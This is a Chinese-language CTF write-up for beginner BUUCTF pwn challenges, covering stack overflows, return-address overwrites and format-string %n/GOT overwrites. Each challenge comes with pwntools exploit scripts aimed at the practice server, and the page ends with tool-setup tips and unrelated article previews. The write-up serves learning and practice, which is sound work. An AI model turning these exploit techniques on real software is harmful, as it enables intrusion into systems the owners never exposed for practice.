buuctf pwn入门1

news2024/9/22 7:21:14

目录

1. test_your_nc(简单nc )

 pwn做题过程

 2. rip(简单栈溢出)

3. warmup_csaw_2016(栈溢出 覆盖Return_Address)

4. ciscn_2019_n_1(栈溢出 浮点数十六进制)

(1) 覆盖v2值

 (2) 利用system("cat /flag");

5. pwn1_sctf_2016(字符逃逸栈溢出 32位)

6.  jarvisoj_level0(栈溢出 )

7. [第五空间2019 决赛]PWN5(格式化字符串写入漏洞)

做法一:格式化字符串漏洞

修改内存

做法二:read将atoi_got改为system_plt

ubuntu 下载 pwntools


1. test_your_nc(简单nc )

下载下来test文件 拖入IDA 说不支持,让用64

在拖入IDA 64中

按下shift+f12,打开string window,

发现/bin/sh

双击/bin/sh, 鼠标点击command,再按键盘X,发现/bin/sh的address在main函数里

 点击option->general,勾选相应选项可方便看代码,具体如下:

变成了一行一行的

 再按F5 发现main函数很简单,就是单纯system函数直接调用了/bin/sh,所以直接nc就行.

 所以我们打开kali

nc node4.buuoj.cn:28180

nc即netcat,也被称为瑞士军刀,其主要用途是建立和监听任意TCP和UDP连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等

web打靶场的时候有时候反弹shell用到

nc ip地址 ip端口

ls 发现flag cat flag得到flag

 pwn做题过程

1. 拿到题目附件,将它在对应的操作系统环境下打开(一般来说是ubuntu)。先执行一下,了解一下程序的大致运行结果。
2. checksec命令,了解程序的保护方式。针对不同的保护方式,大致了解题目的难度等级。(萌萌新的题目应该大多是没有任何保护的,但是之后的很多题都会附加很多复杂的保护)
3. 用ida打开题目,对题目进行一个程序逻辑的逆向。
4. 通过逆向找到程序的漏洞点。
5. 思考漏洞利用方式,并开始编写脚本(适当时动态调试辅助脚本编写)。
6. 脚本编写完成后,先在本地尝试getshell。成功的话连接远程拿flag

 2. rip(简单栈溢出)

下载 得到一个无后缀pwn1文件 应该是elf文件

checksec查看文件保护

file 查看文件  是64位的  IDA 64打开

main函数F5查看伪代码之后,得到 发现危险函数gets,可以判断存在栈溢出漏洞

fun函数这里发现 system("/bin/sh");

 

 接下来思路就清晰了,我们需要利用gets函数获取一个长字符串覆盖rip来控制程序流到fun()函数

函数的局部变量会存放在他的栈中,那么在main函数中,我们双击s变量,查看s分配了多少空间

这里可以使用gbd动态调试,也可以简单点直接算

0x0-(-0x0f)=0xf

 是15个字节的空间,也就是在main函数的栈帧中,给s划分了一个15字节的存储空间 偏移量为15

因为是64位的EIF文件,所以rbp是8个字节(基础知识)

CTF PWN基础知识(寄存器、栈、汇编指令、标志位)详解_cl寄存器_游走来回的博客-CSDN博客

那么我们还需要8个自己的数据把Caller’s rbp的数据填满(当然在本题中应该是rbp,因为是64位的系统),这样可以溢出进入Return
Address了,所以接下来我们输入Return
Address(返回地址),也就是说,也就是fun函数的地址,地址我们可以看到是0x401186

from pwn import *

p=remote("node4.buuoj.cn",28419) #靶机地址和端口
payload = b'a' * 23 + p64(0x40118A)
#char s的15个字节+RBP的8字节+fun函数入口地址,+1为了堆栈平衡,p64()发送数据时,是发送的字节流,也就是比特流(二进制流)   不+1拿不到 问了问队里大佬,是libc版本问题 2.23就好了
# 也可以直接传入 执行/bin/sh时的地址 ex40118A
p.sendline(payload)
p.interactive()

执行cat /flag 得到flag

3. warmup_csaw_2016(栈溢出 覆盖Return_Address)

ret2system  ret2text

与rip 类似

checksec看一下文件保护模式:

64位小端序文件

IDA64 打开 分析一下

shift+F12 发现 cat flag.txt 跟进查找 在 sub_40060D() 函数里

main() 函数里 看见gets() 函数 存在栈溢出 

计算偏移数

gets函数向v5输入数据,因为gets不限制长度,所以构成溢出,这里的[rbp-40h]表示输入点距离rbp寄存器的偏移为40h,而64位文件 rbp占8个字节。rbp自己还要占用8个偏移,因此从输入点到返回地址的偏移为40h+8h=48h   然后才会覆盖掉 Return Address

覆盖Return Address为 sub_40060D() 函数 地址 0x40060D

poc如下:

from pwn import *

p = remote("node4.buuoj.cn",27973)
payload = b"a" * 0x48 + p64(0x040060D) 

p.sendline(payload)
p.interactive()

4. ciscn_2019_n_1(栈溢出 浮点数十六进制)

checksec查看文件保护

 没有保护机制

IDA 分析一下

 看见 func函数里 存在 gets(&v1); 存在栈溢出

(1) 覆盖v2值

然后进行一个判断 如果 v2==11.28125 就执行 system("cat /flag");

双击func()函数查看汇编代码时,可以看见有一个分支 系统调用

 双击进 dword_4007F4

可以看到 11.28125在内存中的16进制表示为0x41348000

因此 我们只需要计算出 偏移数  溢出覆盖v2为 0x41348000即可

偏移计算

也可以双击v1 v2 进去。v1在var_30  v2在var_4

所以偏移为:0x30-0x04 = 0x2C

from pwn import *

p = remote("node4.buuoj.cn",29426) #remote建立远程连接
# p = process("./ciscn_2019_n_1")   本地运行
payload = b"a" * 0x2C + p64(0x41348000)

p.sendline(payload)
p.interactive()

 (2) 利用system("cat /flag");

还有一种方法,我们可以 覆盖Return Address 为  if里的 system("cat /flag");地址。 从而跳过判断,直接通过栈溢出让函数返回执行system(“cat /flag”)

这里可以看到 cat /flag的地址为 0x4006BE

poc如下:

from pwn import *

p = remote("node4.buuoj.cn",29426)
payload = b"a" * (0x30+0x08) + p64(0x4006BE) 
# v1到rbp的偏移量 0x30 + rbp本身8个字节 + cat /flag的地址 
p.sendline(payload)
p.interactive()

5. pwn1_sctf_2016(字符逃逸栈溢出 32位)

checksec 查看保护程序

file查看文件 32位ELF文件

 导入到 IDA32中 看见vuln()函数,反汇编一下

 发现fgets()函数限制输入32个字节到变量s中

虽然 限制了输入32个字节,但是我们可以看到 在 replace((std::string *)&v3); 这里的relpace函数他会 将 I 替换为 you  1字节变三字节 这里可以逃逸出两个字节(有点类似web里的反序列化逃逸原理)

后面 还会 strcpy(&s, v0); 重新给 s赋值 因此我们可以利用这个 replace 去 栈溢出 覆盖Return Address

偏移计算

 

r为返回地址处 所以偏移量:0x3C + ebp的四个字节  = 0x40 即 64个字节

每个I可以被替换成you,所以输入21个I 和一个 a 就能让栈溢出 再加上要覆盖Return Address的函数地址即可

找危险函数

get_flag()函数里 会执行 system("cat flag.txt");可以得到flag   起始地址为:0x8048F0D

 poc如下:

from pwn import *

p = remote("node4.buuoj.cn",27622)
payload = b"I" * 21 + b'a' + p32(0x8048F0D)

p.sendline(payload)
p.interactive()

6.  jarvisoj_level0(栈溢出 )

和上五道题一样。。。 无保护程序 找偏移量 找危险函数 溢出覆盖Return Address

checksec 查看文件保护

file 查看文件属性  64位ELF文件

IDA64打开 分析一下

vulnerable_function() 里有一个 buf字符数组,栈里长度 0x80h 但是read读可以读0x200 存在栈溢出

偏移计算

偏移量:0x80 + rbp的8个字节 = 0x88

找危险函数

callsystem()函数这里会执行 /bin/sh

 因此 通过栈溢出让函数返回地址为 callsystem()的起始地址即可

callsystem()的起始地址为:0x400596

7. [第五空间2019 决赛]PWN5(格式化字符串写入漏洞)

 checksec 查看文件保护 没开启 (看别人wp发现都说开启了 canar 难道是我checksec的问题吗)

file查看文件属性 是32位的ELF文件

 后面在ubuntu里执行python脚本时 发现开启了canary

载入IDA32 分析

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int fd; // ST14_4
  int result; // eax
  int v4; // ecx
  unsigned int v5; // et1
  char nptr; // [esp+4h] [ebp-80h]
  char buf; // [esp+14h] [ebp-70h]
  unsigned int v8; // [esp+78h] [ebp-Ch]
  int *v9; // [esp+7Ch] [ebp-8h]

  v9 = &a1;
  v8 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &unk_804C044, 4u);
  printf("your name:");
  read(0, &buf, 0x63u);
  printf("Hello,");
  printf(&buf);  //存在格式化字符串漏洞
  printf("your passwd:");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == unk_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");  //满足条件 则拿到shell
  }
  else
  {
    puts("fail");
  }
}

把随机数放入到0x804c044处,用户输入用户名和密码,如果密码和随机数相等 拿到shell

但是因为这个dword_804c044从服务器读入,无法知道其内容,所以使用%n将其数据修改,随后passwd输入相同的数据即可得到shell 

这里有两种办法:

  • 格式化字符串漏洞 利用第一个 read 将 0x804C044 地址改写为一个确定的值,再往密码输入这个值
  • 利用第一个read将atoi_got改为system_plt,再send/bin/sh\x00,使得程序在本该执行atoi的地方执行system("/bin/sh"),从而获得shell (这个还没学到)

做法一:格式化字符串漏洞

我们利用格式化字符串看看 输入的内容在第几位上会被解释成格式化字符串 

首先我们先利用利用AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x的形式来计算偏移量:

 第十个输出正是 41414141 所以偏移量为10

格式化字符串介绍:

 知道偏移量后,那我们怎么利用 去修改dword_804c044的值呢?

 可参考:格式化字符串漏洞_as1r_p的博客-CSDN博客

 %d - 十进制 - 打印十进制整数
%s - 字符串 - 打印参数地址处的字符串
%x,%X- 十六进制 - 打印十六进制数
%o - 八进制 -打印八进制整形
%c - 字符 - 打印字符
%p - 指针 - 打印指针地址 即void *
%n - 到目前为止所写的字符数

当然,功能也不仅限于控制显示的数据类型,还能控制显示的宽度和队列。
%<正整数n>c 打印宽度为n的字符串(打印长度为n) 

特别要注意的是%n这个格式化字符串,它的功能是将%n之前打印出来的字符个数(四字节)写入参数地址处(赋值给一个变量)。32位的程序,%n取的就是4字节指针,64位取的就是8字节指针。
%hn 写入两个字节
%hhn 写入一个字节
 

关于$符号 

写入:%<数值>c%<正整数>$ <类型>
%44c%5$hn 就是向第 5 个参数写入 44 这个数值。

读取:%<正整数n>$ <数据类型>,指定占位符对应的第n个参数,例如 %8$x 就是以 x 格式读第 8 个参数的值

举例:

printf("%10c%n",65,0x41414141);

打印9个空格加上一个A,所以会往地址0x41414141处写入10(4字节)

printf("%1234c%hhn",65,0x41414141);

因为1234=0x4D2,所以会往地址0x41414141处写入0xD2(1字节)

修改内存

在格式化字符串中 有一个 特殊的格式化控制符 “%n”,"%hn" "%hhn"也可以。%n可以将已经输出的字节个数  写入到 指定的(偏移处的值) 的地址中,配合$直接修改第几个参数来修改想要修改地址的值

 用法:%修改数据c%偏移$n

 因此,我们要更改 0x0804c044地址的值  可以把 0x0804c044 输入到 第十个参数

比如之前我们输入 AAAA 第十个参数值为:41414141  这里我们输入 0x440xc00x040x08 小端序

 然后 后面跟%10%n   (%偏移%n) 可以将字节个数4 写入到 0x0804c044地址 里

 poc如下:

from pwn import *

p = remote("node4.buuoj.cn",28357)

payload = p32(0x0804c044) + b'%10$n'
# payload = fmtstr_payload(10,{0x804C044:0x4})  fmtstr_payload()是可用于格式化字符串漏洞的函数
#pwntools自带的格式化字符串漏洞payload构建工具——fmtstr_payload
p.recvuntil('your name:')  #与shell进行交互
p.sendline(payload)
p.recvuntil("your passwd:")
p.sendline('4')
p.interactive()

还有一种 不用%n 而是用%hhn 可以逐字节写  可以学习一下思路

from pwn import *

io = process("./pwn")

#一个p32生成的数据是4个字节,4个一共是16字节
payload = p32(0x804C044) + p32(0x804C045) + p32(0x804C046) + p32(0x804C047)
# 在原本存储随机数的内存地址上逐个写入0x10(十进制16),这样就使原本随机的密码变成已知
payload += "%10$hhn%11$hhn%12$hhn%13$hhn" 
io.sendlineafter("your name:", payload)
io.recvuntil("passwd:")
io.sendline(str(0x10101010))

io.interactive()

pwntools也自带的格式化字符串漏洞payload构建工具——fmtstr_payload() 参数是(偏移,{地址:值})

做法二:read将atoi_got改为system_plt

from pwn import *

io = process("./pwn")
elf = ELF("./pwn")

atoi_got = elf.got['atoi']
sys_plt = elf.plt['system']

offset = 10
payload = fmtstr_payload(offset, {atoi_got : sys_plt})

io.sendlineafter("name:", payload)
io.sendlineafter("passwd:", "/bin/sh\x00")

io.interactive()

参考:BUU_[第五空间2019 决赛]PWN5 - Yic's Blog

ubuntu 下载 pwntools

pip在下载时会有问题,报错: sys.stderr.write(f"ERROR: {exc}")

解决方法:

wget https://bootstrap.pypa.io/pip/3.5/get-pip.py

下载完成后执行下面的命令

python3 get-pip.py 

 pip 下载pwntools

pip install pwntools


python3 -m pip install --upgrade pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple

安装 pwndbg

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

pwntools报错“NameError: name 'process' is not defined”

修改python脚本文件名 不是pwn即可

换更新源

Ubuntu16.4关于apt功能update忽略所有文件问题的解决方案_安装apt-get一直忽略_僚机武士的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/729103.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

实现【Linux--NTP 时间同步服务搭建】

实现【Linux--NTP 时间同步服务搭建】 &#x1f53b; 前言&#x1f53b; 一、NTP 校时&#x1f530; 1.1 NTP 服务校时与 ntpdate 校时的区别&#x1f530; 1.2 NTP 校时服务搭建&#x1f530; 1.2.1 确认 ntp 的安装&#x1f530; 1.2.2 配置 ntp 服务&#x1f530; 1.2.3 启动…

QTday1

#include "widget.h"Widget::Widget(QWidget *parent): QWidget(parent) {this->resize(500,600);this->setFixedSize(500,600);//设置窗口标题this->setWindowTitle("盗版qq");//设置窗口图标this->setWindowIcon(QIcon("D://QQ下载//ic…

【C++STL】list的反向迭代器

list的反向迭代器 文章目录 list的反向迭代器reverse.h疑问1&#xff1a;为什么在迭代器当中不需要写深拷贝、析构函数疑问2&#xff1a;为什么在迭代器当中需要三个模板参数&#xff1f;疑问3&#xff1a;反向迭代器是怎么实现的&#xff1f;疑问4&#xff1a;为什么*解引用不…

LCD_1602 显示单个字符

目录 效果图&#xff1a;​ 硬件接线&#xff1a; 源代码&#xff1a; Lcd1602.c lcd1602.h main.c 硬件&#xff1a;lcd1602 51单片机 串口 软件&#xff1a;stc keil 效果图&#xff1a; 硬件接线&#xff1a; LCD1602 RW RS E 分别接51单片机的P25 P26 P27 LCD1602…

决策树分析特征重要性可视化无监督特征筛选

from sklearn.tree import DecisionTreeClassifierdtc DecisionTreeClassifier() # 初始化 dtc.fit(x_train, y_train) # 训练# 获取特征权重值 weights dtc.feature_importances_ print(>>>特征权重值\n, weights)# 索引降序排列 sort_index np.argsort(weights…

【学习】ChatGPT对问答社区产生了哪些影响?

引用 StackExchange 社区 CEO Prashanth Chandrasekar 的一篇博客标题 “Community is the future of AI”&#xff0c;引出本文的观点&#xff0c;即ChatGPT对问答社区产生了颠覆性影响&#xff0c;问答社区必须釜底抽薪、涅槃重生&#xff0c;但我们必须坚信“社区才是AI的未…

慎用QGraphicsDropShadowEffect绘制阴影,会导致部分控件一直resizeEvent、重新绘制

我的程序还在创作中&#xff0c;代码还只是UI部分&#xff0c;数据都是固定的&#xff0c;也没有定时刷新之类代码&#xff0c;样式也只是使用了一小部分。有一天我发现我在QTableWidget添加自定义控件的时候&#xff0c;效应特别慢&#xff0c;而自定义控件只是在鼠标进入或离…

活动策划大揭秘:如何制定执行方案

对于刚转行做活动策划的小白&#xff0c;我对你的建议&#xff0c;就是两个字“借鉴”&#xff01; 小白要写出一份优秀的活动策划与执行方案&#xff0c;“借鉴”其实是唯一的方式。 而且而且越资深&#xff0c;借鉴的越多。 当我是小白的时候&#xff0c;我做一个案子只看…

vue3模型代码

效果&#xff1a; 代码 <template><div class"json_box"><json-viewer :value"jsonData" :boxed"false" :expand-depth"5" :expanded"true" ></json-viewer></div> </template><sc…

哈利波特!AI动画已经这么稳定了?MJ控制角色统一性5种技巧;百度大模型Prompt开发与应用新课上线;SD进阶万字长文 | ShowMeAI日报

&#x1f440;日报&周刊合集 | &#x1f3a1;生产力工具与行业应用大全 | &#x1f9e1; 点赞关注评论拜托啦&#xff01; &#x1f916; 哈利波特动画视频&#xff0c;使用 TemporalNet 制作 img2img 动画 这是 Reddit 论坛小伙伴分享的自制动画&#xff0c;内容选自哈利波…

Apikit 自学日记:添加测试步骤-脚本步骤

脚本步骤 在流程测试用例界面&#xff0c;进入用例管理&#xff0c;点击 添加脚本[Javascript] 按钮&#xff1a; 进入编辑用例页面&#xff0c;点击 新API测试 新建一个 API 请求。 API 自动化测试平台为代码模式的测试用例设计了一套简单的API信息模板&#xff0c;因此只需要…

d3dx9_33.dll丢失怎么解决

d3dx9_33.dll的作用 在讨论如何修复d3dx9_33.dll丢失错误之前&#xff0c;我们首先需要了解d3dx9_33.dll的作用。d3dx9_33.dll是DirectX 9的一个核心文件&#xff0c;它是DirectX库的一部分&#xff0c;用于提供图形和多媒体功能支持。DirectX是由Microsoft开发的一组多媒体技…

java项目根据启动位置指定 log4j2日志输出到指定目录

痛点 我们在开发的 java 项目一般都会记录日志&#xff0c;日志输出位置通常使用相对路径记录到当前启动 jar 包的同一个父文件夹下面。 当我们使用像 jsch、ssh 这种远程启动 java 程序的时候会出现一个问题&#xff1a; 日志会输出到当前登录用户的目录下面&#xff08;如…

机器学习洞察 | 降本增效,无服务器推理是怎么做到的?

2022 年&#xff0c;无服务器推理受到了越来越多的关注。常见的推理方式包括实时推理、批量转换和异步推理&#xff1a; 实时推理&#xff1a;具有低延迟、高吞吐、多模型部署的特点&#xff0c;能够满足 A/B 测试的需求 批量转换&#xff1a;能够基于任务 (Job-based) 的系统…

故障排查:通过ssh远程执行命令时报错未找到命令

博客主页&#xff1a;https://tomcat.blog.csdn.net 博主昵称&#xff1a;农民工老王 主要领域&#xff1a;Java、Linux、K8S 期待大家的关注&#x1f496;点赞&#x1f44d;收藏⭐留言&#x1f4ac; 目录 故障详情问题原因解决方案命令使用全路径修改~/.bashrc 故障详情 最近…

设计模式 - 抽象工厂模式

学完工厂模式&#xff0c;才发现还有一个抽象工厂模式&#xff1b;学习后发现不论是通过接口方式、还是继承方式&#xff0c;都可以使用抽象工厂模式&#xff1b;但是个人建议更多的时候&#xff0c;我们可以优先考虑接口方式&#xff0c;毕竟 单继承&#xff0c;多实现 设计模…

HTML5基础语法与标签

一、 HTML5介绍 HTML5是什么&#xff1f; HTML5是超文本标记语言&#xff08;HTML&#xff09;的第五个主要版本&#xff0c;用于描述网页结构和呈现内容。它是到目前为止最新且最强大的HTML版本。 HTML5语法约定 1.标签是HTML语法中的基本单位&#xff0c;由尖括号 ​<>…

QT分屏按钮

效果&#xff1a;按钮弹出分屏选择 // gridpopwidget.h #ifndef GRIDPOPWIDGET_H #define GRIDPOPWIDGET_H#include <QWidget> #include <QMouseEvent>class GridPopWidget : public QWidget {Q_OBJECT public:explicit GridPopWidget(QWidget *parent nullptr);~…

MySQL第二天

MySQL第二天 文章目录 MySQL第二天一、第一题 题目二、第二题题目 一、第一题 题目 1、先创建该customers表 create table customers ( c_num int primary key auto_increment, c_name varchar(50), c_contact varchar(50), c_city varchar(50),c_birth datetime not null);2、…

java IO流(一) File类

File对象只能对文件进行操作&#xff0c;不能操作文件中的内容。 1 File对象的创建 要注意的是&#xff1a;路径中"“要写成”\“进行转义&#xff0c; 路径中”/"可以直接用&#xff0c;但是最好的是使用File.separator&#xff0c;它会根据系统的不同进行转化&a…